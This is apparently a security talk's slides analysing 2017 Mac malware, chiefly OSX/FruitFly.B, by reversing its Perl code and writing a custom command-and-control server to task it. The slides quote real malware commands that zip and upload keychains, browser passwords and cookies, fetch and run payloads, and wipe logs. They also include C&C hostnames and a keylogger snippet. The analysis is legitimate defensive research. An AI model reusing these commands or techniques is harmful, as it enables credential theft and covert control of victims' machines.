


# OFFENSIVE MALWARE ANALYSIS

dissecting osx/fruitfly via a custom c&c server



# WHOIS





security for the  
21st century

*“leverages the best combination of humans and technology to discover security vulnerabilities in our customers’ web apps, mobile apps, IoT devices and infrastructure endpoints”*




@patrickwardle



Objective-See

# OUTLINE



Malware of 2017



OSX/FruitFly




Generic Protections

 samples:  
[objective-see.com/malware.html](http://objective-see.com/malware.html)

# Mac Malware

## new for 2017




# MALWARE OF 2017

## new specimens targeting mac users

**fruitfly**  
jan 2017



**macrotempyre**  
feb 2017




**macdownloader**  
feb 2017



**XAgent**  
feb 2017



**proton**  
may 2017



**macransom**  
june 2017



# OSX/FRUITFLY ('QUIMITCHIN') an intriguing backdoor

Jan 11th (0 detections)




"New Mac backdoor using  
antiquated code"  
-malwarebytes/thomas reed

↳ components  
(script, binary, etc)

↳ persistence  
(launch agent)

↳ capabilities



File information

Engine	Signature	Version	Update
Ad-Aware	-	3.0.3.794	20170111
AegisLab	-	4.2	20170111
AhnLab-V3	-	3.8.2.16235	20170111
ALYac	-	1.0.1.9	20170112
Antiy-AVL	-	1.0.0.1	20170112
Arcabit	-	1.0.0.793	20170112
Avast	-	8.0.1489.320	20170112
AVG	-	16.0.0.4749	20170112
Avira	-	8.3.3.4	20170111
AVware	-	1.5.0.42	20170111
Baidu	-	1.0.0.2	20170111


Virus Total submission(s)

A large grey triangle containing a green biohazard symbol with a red exclamation mark.

infection vector?



email?



trojan?



web popup?

# OSX/FRUITFLY

## method of persistence


```
$ cat ~/Library/LaunchAgents/  
    com.client.client.plist  
  
<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE plist PUBLIC ... >  
<plist version="1.0">  
<dict>  
    <key>KeepAlive</key>  
    <true/>  
    <key>Label</key>  
    <string>com.client.client</string>  
    <key>ProgramArguments</key>  
    <array>  
        <string>/Users/user/.client</string>  
    </array>  
    <key>RunAtLoad</key>  
    <true/>  
    <key>NSUIElement</key>  
    <string>1</string>  
</dict>  
</plist>
```



property list:  
~/Library/LaunchAgents/  
com.client.client.plist

{


payload:  
~/.client




launch agent persistence

BlockBlock alert

# WORD+EMPYRE infected word doc, with a python backdoor



tweet by @fstenv



```
$ file "U.S. Allies and Rivals Digest Trump's Victory - Carnegie Endowment for International Peace.docm"  
  
Microsoft Word 2007+
```

Microsoft document, with macros

# WORD+EMPYRE payload is empyre

```
$sigtool --vba word/vbaProject.bin
----- start of code -----
Sub autoopen()
Fisher
End Sub

Public Sub Fisher()

cmd = "ZFhGcHJ2c2dNQ1NJeVBmPSdhdGZNelpPcVZMY..."
cmd = cmd + "NsOwppZiBoYXNhDRyKHNzbCwgJ19jc..."
cmd = cmd + "l1ZF9jb250ZXh0Jyk6c3NsL19jcmVhd...
...
cmd = cmd + "0pKQpleGVjKCcnLmpvaW4ob3V0KSk="

result = system("echo ""import sys,base64;exec(
base64.b64decode(\"" " & cmd & " \"\"));
"" | python &")
```

'autorun' macro



empyre:

"A post-exploitation OS X/Linux agent ...in Python"  
<https://github.com/EmpireProject/EmPyre>

```
$ python
>>> import base64
>>> cmd "ZFhGcHJ2c2dNQ1NJeVBmPSdhdGZNel...
>>> base64.b64decode(cmd)

cmd = "ps -ef|grep Little\ Snitch"
ps = subprocess.Popen(cmd, shell = True)
out = ps.stdout.read()


if re.search("Little Snitch", out):
    sys.exit()

a = o.open('https://www.securitychecking.org:
443/index.asp').read()
key = 'fff96aed07cb7ea65e7f031bd714607d';

S, j, out = range(256), 0, []
for i in range(256):
    j = (j + S[i] + ord(key[i % len(key)])) %
256
    S[i], S[j] = S[j], S[i]
...
exec(''.join(out))
```

decoded python


# MACDOWNLOADER (iranian?) exfiltration agent



```
do shell script "uname -a > /etc/checkdrive.chk"  
zip -rj /etc/kcbackup.cfg /Library/Keychains/  
  
echo "#!/bin/bash  
curl -o /tmp/mastering-vim.pdf %@  
md5 /tmp/mastering-vim.pdf | grep vim | cut -d- -f 2 > /etc/  
newf_md5.md5  
  
" > /etc/.checkdev && if cat /etc/rc.common | grep .checkdev;  
then sleep 1; else echo "sleep %d && /etc/.checkdev &" >> /etc/  
rc.common; fi && chmod +x /etc/.checkdev && /etc/.checkdev with  
administrator privileges
```

fake Adobe Flash Player

installer logic




keychain/passwords!

"Iran Threats"

<https://iranthreats.github.io/resources/macdownloader-macos-malware/>

# OSX/XAGENT apt28's persistent mac implant




"We believe...Sofacy uses Komplex to download and install the XAgentOSX tool to use its expanded command set on the compromised system." -unit42/palo alto



# OSX/XAGENT

## apt28's persistent mac implant

```
POST /results/?itwm=GXnJ-B_wmR7r5LxG0Zt-sIroccP66&ags=sR7DEnTFjKk&oprnd=KSQt&ags=wU2XPb&_NH1=n8ru0II1L HTTP/1.1  
Host: 23.227.196.215  
User-Agent: sample (unknown version) CFNetwork/596.5 Darwin/12.5.0 (x86_64) (iMac8%2C1)  
Content-Length: 81  
Accept: */*  
Content-Type: application/x-www-form-urlencoded; charset=utf-8  
Accept-Language: en-us  
Accept-Encoding: gzip, deflate  
Connection: keep-alive  
  
D6wobndKhfyMR3xl_nevmxrXsSGdS-EPNJuRzqPAGEohAVGxpuCn1H6INx99WQRh5k6SKHiEIqr1LZw==
```



capabilities




procs



screen

encrypted (rc4) exfil to C&C

```
__attribute__((visibility("hidden")))  
@interface InjectApp : NSObject  
{  
}  
  
- (void)injectRunningApp;  
- (void)sendEventToPid:(id)arg1;  
- (BOOL)isInjectable:(id)arg1;
```



injection  
...copied from hackingteam!



backups




passwords



keys

→ "XAgentOSX: Sofacy's XAgent macOS Tool" -unit42/palo alto

# OSX/PROTON trojan backdoor



The screenshot shows the HandBrake website. At the top, there's a logo featuring a cocktail glass and a pineapple. Below it, the title "HandBrake" and subtitle "The open source video transcoder" are displayed. A large text block explains that HandBrake is a tool for converting video from nearly any format to a selection of modern, widely supported codecs. A section titled "Reasons you'll love HandBrake:" lists three benefits: "Convert video from nearly any format", "Free and Open Source", and "Multi-Platform (Windows, Mac and Linux)". A red button labeled "Download HandBrake 1.0.7 For Mac OS X 10.7 or later" is prominent. Below the download button, a link "(Other Platforms)" is visible. A stylized arrow points from the bottom left towards a "SECURITY ALERT" box. The alert box contains the text "SECURITY ALERT: Mac Users Please Read" and features a warning icon. At the bottom right, there's a black silhouette of a person wearing a hat, and next to it is a white cube with a red virus-like symbol on its side.



This sequence of screenshots illustrates the exploit process. The first image shows a password prompt window from HandBrake asking for permission to install additional codecs. The second image shows an arrow pointing from this window to a System Integrity Protection (SIP) integrity check window. The third image shows the SIP window displaying that the process 'sed' (Apple Code Signing Cert Auth) has installed a launch daemon or agent named 'activity\_agent' (unsigned).

```
<?xml version="1.0" encoding="UTF-8"?>
<plist version="1.0">
<dict>
    <key>KeepAlive</key>
    <true/>
    ...
    <key>ProgramArguments</key>
    <array>
        <string>/Users/user/Library/RenderFiles/activity_agent.app/
            Contents/MacOS/activity_agent</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
</dict>
</plist>
```

launch agent persistence (plist)

# OSX/PROTON trojan backdoor

```
curl https://%@/kukpxx8lnldxbma8c4xqtar/auth?B=%@&U=%@&S=%@,  
echo '%@' | sudo -S echo success;,
```

```
 screencapture -x %@/scr%.png,  
https://%@/api/upload,
```

```
ping -c 1 %@ 2>/dev/null >/dev/null && echo 0,  
@%@/proton.zip,
```

```
/Library/Extensions/LittleSnitch.kext,  
/Library/Extensions/Radio Silence.kext
```

```
zip %@/CR.zip ~/Library/Application\ Support/Google/Chrome/  
Profile\ 1/Login\ Data ~/Library/Application\ Support/Google/  
Chrome/Profile\ 1/Cookies
```

```
zip -r %@/KC.zip ~/Library/Keychains/ /Library/Keychains/; %@ %@  
%@ %@ zip -r %@/GNU_PW.zip ~/.gnupg ~/Library/Application\  
Support/1Password\ 4 ~/Library/Application\ Support/1Password\  
3.9; zip -r %@/proton.zip %@; %@ echo success
```

```
killall Console  
killall Wireshark
```

```
sudo -S rm -rf /var/log/* /Library/Logs/*
```

decrypted config/command file



screen captures



detect security  
products




browser data and  
passwords




anti-analysis


# OSX/MACRASOM ransomware "as a service"



for sale (on the dark web)




persistence



# OSX/MACRASOM

## ransomware "as a service"

```
checkTime:  
    r15 = time(0x0);  
    time(&var_38E0);  
    rax = localtime(&var_38E0);  
  
    if (r15 < mktime(rax)) goto EXIT;
```




encryption of files only  
starts after 'trigger'  
time/date!

```
(lldb)  
Process 7280 stopped
```

```
frame #0: 0x000000010b4eb5f5 .FS_Store  
-> 0x10b4eb5f5 <+1541>: callq 0x10b4ec8fe ; symbol for: system
```

```
(lldb) x/s $rdi  
0x7fff547123e0: "find /Volumes ~ ! -path "/Users/user/Library/.FS_Store" -type f -size  
+8c -user `whoami` -perm -u=r -exec "/Users/user/Library/.FS_Store" {} +"
```




# OSX/FRUITFLY

## an intriguing backdoor




# THE GOAL

analyze OSX/FruitFly.B ... 'smartly'



"execute  
command #2"

2 task:  
the malware



1 build:  
custom C&C server

cmd #2



3 observe:  
the response


command description

0 ?

1 ?

2 "take screen shot"

malware's commands



domain hijack

# OSX/FruitFly.B

variant 'b'

mahalo @noarfomspace

File information

Identification Content Analyses Submissions ITW Additional Comments

Date	File name	Source	Country
2017-02-07 20:01:13	fpsaud	af068394 (web)	US
2017-02-03 04:37:30	fpsaud	bfc6866f (web)	US
2017-02-02 14:11:35	fpsaud	079ed9f1 (web)	US
2017-02-02 04:27:03	fpsaud	af068394 (web)	US
2017-02-01 21:04:43	fpsaud	b42470ca (web)	US
2017-02-01 15:02:04	fpsaud		
2017-01-31 22:02:28	fpsaud.txt		
2017-01-31 16:54:15	fpsaud		

**virus total**

SHA256: befa9bfe488244c64db096522b4fad73fc01ea8c04cd0323f1cbdee81ba008271  
File name: fpsaud

submitted: 1/31  
(0 AV detections)

name: 'fpsaud'

type: perl script



OSX/FruitFly.B

```
$ file fpsaud
perl script text executable, ASCII text

$ cat fpsaud
#!/usr/bin/perl
use strict;use warnings;use IO::Socket;use
IPC::Open2;my $l;sub G{die if!defined
syswrite $l,$ [0];}sub J{my($U,
$A)=(' ','');while($ [0]>length$U){die if!
sysread $l,$A,$ [0]-length$U;$U.=$A;}return$U; }
sub O{unpack'V',J 4}sub N{J O}sub H{my$U=N;
$U=~s/\//g;$U}sub
I{my$U=eval{my$C=`$ [0]`;chomp$C;$C};$U='if!
defined$U;$U; }sub K{$ [0]?v1:v0}sub Y{pack'V',
$ [0]}sub B{pack'V2',$ [0]/2**32,$ [0]**2**32}
sub Z{pack'V/a*',$ [0]}sub M{$ [0]^(v3 x
length($ [0]))}my($h,@r)=split/
a/,M('11B36-301-';2-45bdql-lws1k-hgjfbdql-
pmgh`vg-hgjf');push@r,splice@r,
0,rand@r;my@e=();for my$B (split/
a/,M('1fg7kkb1nnhokb71jrmkb;rm`;kb1fp1ifeb1njg
ule')){push@e,map $_.$B,split/a/,M('dql-lws1k-
bdql-pmgh`vg-');}push@e,splice@e,0,rand@e;
...
```

obfuscated perl?!

# OSX/FRUITFLY .B


## a brief triage

the goal:

custom C&C server



'tell me  
your secretz'



'ok'



need this info to build c&c server

address of c&c server(s)



malware's protocol

```
$ cat fpsaud.pretty

#!/usr/bin/perl

use IO::Socket;
use IPC::Open2;

sub G {
    die if !defined syswrite $1, $_[0]
}
...

for( my ( $x, $n, $q ) = ( 10, 0, 0
) ; ; sleep $x) {
...
}
```

→ imports

→ subroutines

→ main logic

'beautified' script

# OSX/FRUITFLY.B

imports 'use'

```
$ cat fpsaud.pretty
```


```
#!/usr/bin/perl
```

```
use IO::Socket;
use IPC::Open2;
```


script imports




IO::Socket:  
socket (network) connections



```
$1 = new IO::Socket::INET(
    PeerAddr => scalar( reverse $g ),
    PeerPort => $h,
    Proto     => 'tcp',
    Timeout   => 10 );
```




IPC::Open2:  
process exec, & read/write





```
if ( !$P )
{
    $P = open2( $H, $Q, $b );
    if ( !$O ) { sleep 1; unlink $M }
}
return undef if !$P;
return 1 if defined syswrite $Q, $_[0];
```



we should monitor for  
network & process events



network events



process events

# OSX/FRUITFLY.B

## a triage of subroutines ('S', 'W', & I)

```
#write to file
# $_[0]: file name
# $_[1]: bytes to write out
sub S {
    open F, '>', $_[0] or return undef;
    binmode F;
    print F $_[1] or return undef;
    close F;
    return 1;
}
```




S: write to file

```
#read from file
# $_[0]: file name
sub W {
    open F, '<', $_[0] or return undef;
    binmode F;
    my $U = join '', <F>;
    close F;
    return $U;
}
```



W: read from file

```
#eval a string
# $_[0]: string to eval
sub I {
    my $U = eval { my $C = `$_[0]`; chomp $C; $C };
    $U = '' if !defined $U;
    $U;
}
```



I: 'eval' a string

# OSX/FRUITFLY.B

## a triage of subroutines ('J' & 'G')

#connect

```
$l = new IO::Socket::INET( PeerAddr => scalar( reverse $g ), PeerPort => $h, Proto => 'tcp', Timeout => 10 );
```

l: connected socket

```
#recv data  
# l: socket  
# $_[0]: bytes to recv  
sub J {  
    my ( $U, $A ) = ( '', '' );  
    while ( $_[0] > length $U ) {  
        die  
        if !sysread $l, $A, $_[0] - length $U;  
        $U .= $A;  
    }  
    return $U;  
}
```



J: recv data

#send data

```
# l: socket  
# $_[0]: bytes to send  
sub G {  
    die if !defined syswrite $l, $_[0]  
}
```



G: send data



if a command invokes, say, 'J 9' this means an extra 9 bytes are expected from the (custom) C&C server...

# OSX/FRUITFLY.B

## a triage of subroutines

name	description
B	split & pack an integer
E	read bytes from process
G	send data to c&c server
H	read data from c&c server & format
I	eval() a string
J	read data from c&c server
K	check if variable it true
M	XOR string with '3'
N	read variable length data from c&c server
O	read 4 bytes (integer) from c&c server
R	close process handles
S	write data to file
V	save embedded binary to disk, then exec & pass parameters via stdin
W	read from file
Y	pack a 4-byte integer
Z	pack variable length data

osx/fruitfly.b's subroutines

# OSX/FRUITFLY.B

## string decoding (C&C servers)

```
#decode c&c primary servers
my ($h, @r) = split /a/, M('11b36-301-;;2-45bdql-lws...');

#decode c&c backup servers
for my $B (split /a/, M('1fg7kkblnnhokb71jrmkb;rm`;kb...')) {
    push @e, map $_ . $B, split /a/, M('dql-lwslk-bdql...');
}
```

### encoded strings

```
$ perl -d .fpsaud

main::(fpsaud:6): my $l;
DB<1> n

main::(fpsaud:39): my ( $h, @r ) = split /a/,
main::(fpsaud:40): M('11b36-301-;;2-45bdql-lw...
DB<1> n

DB<1> p $h
22

DB<1> p @r
xx.xx2.881.76 gro.otpoh.kdie gro.sndkcud.kdie
```

### decoding strings

command	description
-d <script.pl>	start a script under the debugger
R	restart
n	single step (over subroutines)
s	single step (into subroutines)
p <variable>	display value of a variable
l <line #>	display code at line number
b <line #>	set a breakpoint on line #
B <line #>	remove the breakpoint on line #
T	display 'stack'/caller backtrace

### perl debugger commands

```
$g = shift @r; push @r, $g;

#connect to C&C server
# $g: reversed C&C address / $h: C&C port
$h = new IO::Socket::INET(
    PeerAddr => scalar( reverse $g ),
    PeerPort => $h,
    Proto    => 'tcp',
    Timeout  => 10);
```

### connecting to C&C (\$g/\$h)



67.188.2xx.xx  
eidk.hopto.org { port: 22  
eidk.duckdns.org

### primary C&C servers

# OSX/FRUITFLY.B

...cmdline options? yes!


```
#process command lines
if ( @ARGV == 1 )
{
    if ( $ARGV[0] =~ /^(\d+)/ )
    {
        $h = $ARGV[0]
    }
    elsif ( $ARGV[0] =~ /^[^:]+:(\d+)/ )
    {
        ( $h, @r ) = ( $2, scalar reverse $1 );
    }
}
$g = shift @r; push @r, $g;

#connect to C&C server
# $g: reversed C&C address / $h: C&C port
$1 = new IO::Socket::INET(
    PeerAddr => scalar( reverse $g ),
    PeerPort => $h,
    Proto    => 'tcp',
    Timeout  => 10);
```

$^\d+$   
"any digits"



$^{[^:]}:(\d+)$   
"any characters, a ':' then any digits"



specify addr/port  
of C&C server


\$ - \$ fpsaud <port>  
\$ - \$ fpsaud <addr:port>

# OSX/FRUITFLY.B

## process hiding? ...kind of!

```
# 'change' process name  
$0 = 'java';
```

process 'hiding'



```
[user-Mac:~ user$ perl fpaud  
java XPC_FLAGS=0x0 - 76x32
```

...terminal is fooled

```
#before  
$ ps aux 2321  
USER PID COMMAND  
user 2321 perl /Users/user/fpaud  
  
#after  
$ ps aux 2321  
USER PID COMMAND  
user 2321 java
```

.and 'ps' too

```
static void  
getproccline(KINFO *k, char **command_name, int  
*argvlen, int *argv0len, int show_args)  
{  
  
    mib[0] = CTL_KERN;  
    mib[1] = KERN_PROCARGS2;  
    mib[2] = KI_PROC(k)->p_pid;  
  
    size = (size_t)argmax;  
    if (sysctl(mib, 3, procargs, &size, NULL, 0) == -1)  
    {  
        goto ERROR_B;  
    }  
  
    memcpy(&nargs, procargs, sizeof(nargs));  
    cp = procargs + sizeof(nargs);  
  
    /* Save where the argv[0] string starts. */  
    sp = cp;  
  
    /* Make a copy of the string. */  
    *argvlen = asprintf(command_name, "%s", sp);
```

'ps' source code  
(name = argv[0])

# OSX/FRUITFLY.B

## decoding embedded data?

```
#decode embedded binary data
my $u = join '', <DATA>;
my $w = pack 'H*', 'b02607441aa086';
$w x= 1 + length($u) / length($w);
$u ^= substr $w, 0, length $u;
$u =~ s/\0(.)\v0 x(1+ord$1)/seg;
```

DATA  
Ístá±%EöçÜ≤"F·°Ü£B†Ñ¬&Eapple~c]HÖÜ†÷gtÑ(&EÙ√Er  
HÍtçÄ&t•Å∞\$D°Üøyx0ÿÚ∞/XNÃfi‰&π†Ü@&G=†ÉM.J†Ü0&...

### decoding binary data



de-XOR with 'b02607441aa086'



decompress  
('run length' encoding scheme)

```
#decode string
my $m = M('wns', `ojfmw');
```

```
#save & exec embedded data
sub v {
```

...

```
    return undef if !$u || !S( $m, $u );
    chmod 0777, $m;
    $p = open2( $h, $q, $b );
    ...
```

}

### v subroutine



save to disk (file, '\$m')



execute



file monitor/process monitor should  
detect, then we can just grab....

# OSX/FRUITFLY.B protocol / control flow

loop

```
#forever
for ( ; ; ) {

    #send client data
    G v1
    . Y(1143)
    . Y( $q ? 128 : 0 )
    . Z( I('scutil --get LocalHostName' ))
    . Z( I('whoami') );

    #get & process cmd
    for ( ; ; ) {
        my $D = ord J 1;

        if ( $D == 0 ) { }

        elsif ( $D == 2 ) {
            my ( $Z, $C ) = ( J 1 );
            ...

        elsif ( $D == 47 ) {
            ...
        }
    }
}
```

main processing loop

} send client info

recv cmd

} execute cmd

tasking  
'do cmd x'


2

1 client info

```
{ 1143,
  128 | 0,
  host name,
  user name }
```

3

4 command response




3

do cmd




# MONITORING


## how to passively observe



# WATCH ALL THINGS

network; files; processes; mouse; keyboard



 goal: to understand the malware's capabilities via tasking & passive monitoring




# NETWORK MONITORING

## C&C server, protocol & command analysis

```
# tcpdump port 53
tcpdump: listening on ptkap, link-type PKTAP (Apple DLT_PKTAP)

IP 192.168.0.67.59185 > google-public-dns-a.google.com.domain: 41875+ A? eidk.hopto.org (32)
IP google-public-dns-a.google.com.domain > 192.168.0.67.59185: 41875 1/0/0 A 127.0.0.1 (48)
```

tcpdump: dns query for (primary) c&c server



tcp.stream eq 8

No.	Time	Source	Destination	Protocol	Length	Info
86	3.286594	192.168.0.2	192.168.0.13	TCP	67	8080 → 50620 [PSH, ACK] Seq=1 A..
87	3.286904	192.168.0.13	192.168.0.2	TCP	66	50620 → 8080 [ACK] Seq=1 Ack=2 ..
88	3.286995	192.168.0.13	192.168.0.2	TCP	89	50620 → 8080 [PSH, ACK] Seq=1 A..
89	3.287144	192.168.0.2	192.168.0.13	TCP	66	8080 → 50620 [ACK] Seq=2 Ack=24..

0000 00 0c 29 24 5a 31 20 c9 d0 44 ee 65 08 00 45 00 ..)\$Z1 . .D.e...E.
0010 00 4b 2d 4b 40 00 40 06 8c 02 c0 a8 00 0d c0 a8 .K-K@.@. .....
0020 00 02 c5 bc 1f 90 80 fa ec 71 8c 47 b1 cf 80 18 ..... .q.G....
0030 10 15 df f7 00 00 01 01 08 0a 3f c2 70 31 0b 27 ..... ?..p1. '
0040 3d bb 0d 12 00 00 00 2f 55 73 65 72 73 2f 75 73 =...../ Users/us
0050 65 72 2f 66 70 73 61 75 64 er/fpsau d

wireshark: response for command #13



# FILE MONITORING

## malware components & command analysis

```
# sudo fs_usage -w -f filesystem | grep perl

open      F=5      /private/tmp/client    perl5
lseek     F=5      <SEEK_CUR>          perl5
write     F=5      B=0x2000            perl5
write     F=5      B=0x11e8            perl5
close     F=5      perl5
```

**fs\_usage:** dropping embedded binary



```
#assign
my $u = join '', <DATA>;
#decode
my $W = pack 'H*', 'b02607441aa086';
$W x= 1 + length($u) / length($W);
$u ^= substr $W, 0, length $u;
#expand
$u =~ s/\0(.)\v0 x(1+ord$1)/seg;


DATA
<Íſtá±%Eö¢Ü≤"F·°Ü±
£B†Ñ¬&E«~c]HÖÜ†÷gtÑ(&EÙ\ rHÍ†ÇÄ&t•Å~$D°ÜäyX0ÿU~/
XNÃfi‰&π†Ü@&G=†ÉM.J†Ü0&]¢€~$XVÈ» °cCN†ÄÄ&¥Sñ~7DHá ..
```

encoded mach-O binary  
& decoding logic

```
#argument processing
# ->reads from stdin & switches on value
call      getchar
lea       rdx, qword [sub_10001cc0+356]
movsd    rax, dword [rdx+rax*4]
add      rax, rdx
jmp      rax
```

} switch() to exec complex commands

/tmp/client




# PROCESS MONITORING

## command analysis

let's write one :)



no open-source user-mode  
process monitoring utility for macOS




proc monitoring lib



free



open-source



user-mode

```
//event mask
u_int eventClasses = AUDIT_CLASS_EXEC | AUDIT_CLASS_PROCESS;

//open audit pipe for reading
auditFile = fopen(AUDIT_PIPE, "r");

//read audit record(s) & process
while(YES)
{
    recordLength = au_read_rec(auditFile, &recordBuffer);


    ...

    au_fetch_tok(&tokenStruct, recordBuffer + processedLength,
    recordBalance)

    switch(tokenStruct.id)

    ....
```

process monitoring via OpenBSM



# PROCESS MONITORING

## command analysis

objective-see / ProclInfo

Code Issues 0 Pull requests 0 Projects 0 Insights ▾

process info/monitoring library for macOS <https://objective-see.com>

17 commits 1 branch 0 releases 1 contributor

Branch: master New pull request

Patrick Wardle invoke call to proc monitoring on background thread ... Latest commit c91cbcc 10 days ago

lib invoke call to proc monitoring on background thread 10 days ago

proInfo.xcodeproj namespace/project cleanup a month ago

proInfo invoke call to proc monitoring on background thread 10 days ago

```
#import "processLib.h"

//create callback block
ProcessCallbackBlock block = ^(Process* newProcess) {
    NSLog(@"new process:\n %@", newProcess);
};

//init object
ProcessMonitor* procMon = [[ProcessMonitor alloc] init];

//go go go
[procMon start:block];
```

using the process monitor lib




```
#procMonitor

new process:
pid=5836
path=/usr/local/bin/pwd
args=none
ancestors=(5836/perl5, 1/launchd)
```

procMonitor: pwd (cmd #11)

# MOUSE / KEYBOARD MONITORING

## command analysis




mouse & keyboard  
sniffer ('sniffMK')

free

open-source

user-mode



again (AFAIK) no open-source user-mode  
mouse/keyboard sniffer utility for macOS

let's write one :)

```
//init event with mouse events & key presses
eventMask = CGEventMaskBit(kCGEventLeftMouseDown) | CGEventMaskBit(kCGEventLeftMouseUp) |
CGEventMaskBit(kCGEventRightMouseDown) | CGEventMaskBit(kCGEventRightMouseUp) |
CGEventMaskBit(kCGEventLeftMouseDragged) | CGEventMaskBit(kCGEventRightMouseDragged) |
CGEventMaskBit(kCGEventKeyDown) | CGEventMaskBit(kCGEventKeyUp);
```

```
//create event tap
CGEventTapCreate(kCGSessionEventTap, kCGHeadInsertEventTap, 0, eventMask, callback, NULL);
```

"event tap"

```
//callback for mouse/keyboard events
CGEventRef callback(CGEVENTProxy proxy, CGEventType type, CGEventRef event, ...){
```

```
//key presses
if( (kCGEventKeyDown == type) || (kCGEventKeyUp == type) ){
```

```
//get code
keycode = CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode);
printf("keycode: %s\n\n", keyCodeToString(keycode));
}
```

```
//mouse
else {
```

```
//get location
location = CGEventGetLocation(event);
printf("(x: %f, y: %f)\n\n", location.x, location.y);
}
```

callback

# MOUSE/KEYBOARD MONITORING

## command analysis



code based on:

"Receiving, Filtering, & Modifying:

- > Mouse Events
- > Key Presses and Releases"


-Mac OS X Internals

A screenshot of a GitHub repository page for 'objective-see / sniffMK'. The page shows basic statistics: 7 commits, 1 branch, 0 releases, and 2 contributors. It includes a 'Find file' and 'Clone or download' button. Below the stats, a message from 'objective-see' is displayed: 'objective-see committed on GitHub Merge pull request #1 from takeiteasy/master ...'. The commit history lists three commits: 'project cleanup' (a month ago), 'project cleanup' (a month ago), and 'added kCGEventTapDisabledByTimeout' (20 days ago). The repository URL is 'github.com/objective-see/sniffMK'.

'sniffMK' [github.com/objective-see/sniffMK](https://github.com/objective-see/sniffMK)



'hi'



click

sniff sniff!

```
# ./sniffMK
event: kCGEventKeyDown
keycode: h

event: kCGEventKeyUp
keycode: h

event: kCGEventKeyDown
keycode: i


event: kCGEventKeyUp
keycode: i

event: kCGEventLeftMouseDown
(x: 640.23, y: 624.19)

event: kCGEventLeftMouseUp
(x: 640.23, y: 624.19)
```

# BUILDING A CUSTOM C&C SERVER

*...and then we task!*



# CUSTOM C&C SERVER

## handling connections

now we know:



address of c&c server(s)  
(can specify via cmdline!)



malware's protocol



```
#init socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

#bind & listen
sock.bind(('0.0.0.0', port))
sock.listen(1)

#wait for malware to connect
while True:

    connection, client_address = sock.accept()
    print 'client connected: ', client_address
```


python c&c server

1 \$ perl fpsaud 192.168.0.2:1337

launching osx/fruitfly.b

2 \$ python server.py 1337  
listening on ('0.0.0.0', 1337)  
waiting for a connection...  
  
client connected: ('192.168.0.13')

connection received!



custom C&C server

# CUSTOM C&C SERVER handling 'check-in'

```
#connect
$1 = new IO::Socket::INET(
    PeerAddr => scalar( reverse $g ),
    PeerPort => $h,
    Proto     => 'tcp',
    Timeout   => 10
);
```

```
#send client info
G v1
. Y(1143)
. Y( $q ? 128 : 0 )
. Z( I('scutil --get LocalHostName'))
. Z( I('whoami') );
```

connect & send client info




Y(): pack integer



Z(): pack string



G(): send data to c&c server



size	value
1 byte	1
4 bytes	1143 (version #)
4 bytes	0, or 128
variable	host name
variable	user name ('whoami')

format of client info

```
$ python server.py 1337
```

```
...
```

```
client connected: ('192.168.0.13')
```

```
client data:
```

```
offset 0x00: byte 1
```

```
offset 0x01: int: 1143
```

```
offset 0x05: int: 0
```

```
offset 0xd: str (host name): users-Mac
```

```
offset 0x1a: str (user name): user
```

parsing client info

relevant subroutines

# CUSTOM C&C SERVER

## handling commands

for each command:


- 1 triage command to see:
  - a additional bytes/data?
  - b format of the response
- 2 send command  
send additional bytes
- 3 receive and process data

```
#command 11
elseif( $D == 11 ) {
    G v11 . z( I('pwd') ) }
```

cmd #11

```
$ pwd
/Users/user/Desktop

$ perl fpssaud 192.168.0.2:1337
```



```
#command 11
def cmd11(connection):

    #send command
    connection.sendall(struct.pack('b', 11))

    #malware first responds w/ command #
    data = connection.recv(1)
    print 'byte: 0x%02x (command)' % (ord(data))

    #read & unpack length of pwd
    data = connection.recv(4)
    length = struct.unpack('I', data)[0]

    #read 'pwd'
    data = connection.recv(length)
    print 'string: %s' (pwd) % data
```

c&c command #11 implementation

```
$ python server.py 1337
...
client connected: '192.168.0.13'
available commands:
11: Print Working Directory

select command: 11



response:
byte: 11 (command)
string: '/Users/user/Desktop' (pwd)
```

launching osx/fruitfly.b

tasking (command #11)

# **TASKING OSX/FRUITFLY.B**

## exposing capabilities




# COMMAND #2 via /tmp/client

```
#command 2
elsif ( $D == 2 ) {
    my ($Z, $C) = (J 1); 
    if (!$O && V(v2 . $Z) &&
        defined($C = E(4)) &&
        defined($C = E(unpack 'V', $C)))
    {
        G v2 . Z($C);
    }
}
```

command #2



J(): recv byte(s)



V(): exec embedded binary



E(): read byte(s) from proc



G(): send data to c&c server

relevant subroutines

direction	size	value
recv	1 byte	command, 2
recv	1 bytes	?
send	1 byte	command, 2
send	variable	?

command #2's protocol

```
# sudo fs_usage -w -f filesystem | grep perl

open   F=5      /private/tmp/client    perl5
lseek  F=5      <SEEK_CUR>           perl5
write  F=5      B=0x2000              perl5
write  F=5      B=0x11e8              perl5
close   F=5               perl5
```

file i/o & process events

args (cmd,?) {  
via stdin }

```
# procMonitor

new process:
pid=3237
path=/private/tmp/client
args=None
ancestors=(1, 3233)
```



# COMMAND #2

oh; screen capture!




response to (cmd #2, 0);  
sends back 1MB+

Wireshark capture showing network traffic on port 8080. The interface shows several TCP connections between 192.168.0.2 and 192.168.0.13. The details pane shows the raw hex and ASCII data of the captured packets, which appear to be a large file transfer.

wireshark capture

```
$ du -h response.unknown  
1.4M  
  
$ hexdump -C response.unknown  
  
00000000  89 50 4e 47 0d 0a 1a 0a  | .PNG.... |  
00000008  00 00 00 0d 49 48 44 52  | ....IHDR|  
...  
  
$ file response.unknown  
PNG image data, 1245 x 768, 8-bit/color RGB
```


looks like a .png!





screen capture

# COMMAND #2 that second byte?

task away:



```
cmd #2, 0
cmd #2, 1
cmd #2, 8
cmd #2, 32
cmd #2, 64
cmd #2, 128
cmd #2, 255
```



cmd #2, 1 (low-res B&W png)

param	size	type	color	resolution
0	1.4MB	PNG	color	high
1	64KB	PNG	black & white	low
8	788KB	PNG	black & white	high
9	1.4MB	PNG	color	high
10	60KB	JPEG	color	low
64	168KB	JPEG	color	medium
110	1.2MB	JPEG	color	high
111+	1.4MB	PNG	color	high

subcommand (2<sup>nd</sup> byte) 'impact'




cmd #2, 10 (low-res color jpg)

# COMMAND #8

...the mouse moved!

```
#command 8
elsif ( $D == 8 ){
    #recv 9 bytes
    my ( $Z, $C ) = ( J 9 );
    if ( v8 . $Z ) &&
        defined($C = E(1)) ){
        G(ord($C) ? v8 : v0.10);
    }
}
```

command #8




mouse move (x,y)

direction	size	value
recv	1 byte	command, 8
recv	9 bytes	?
send	1    2 bytes	command, 8    0, 10

command #8's protocol

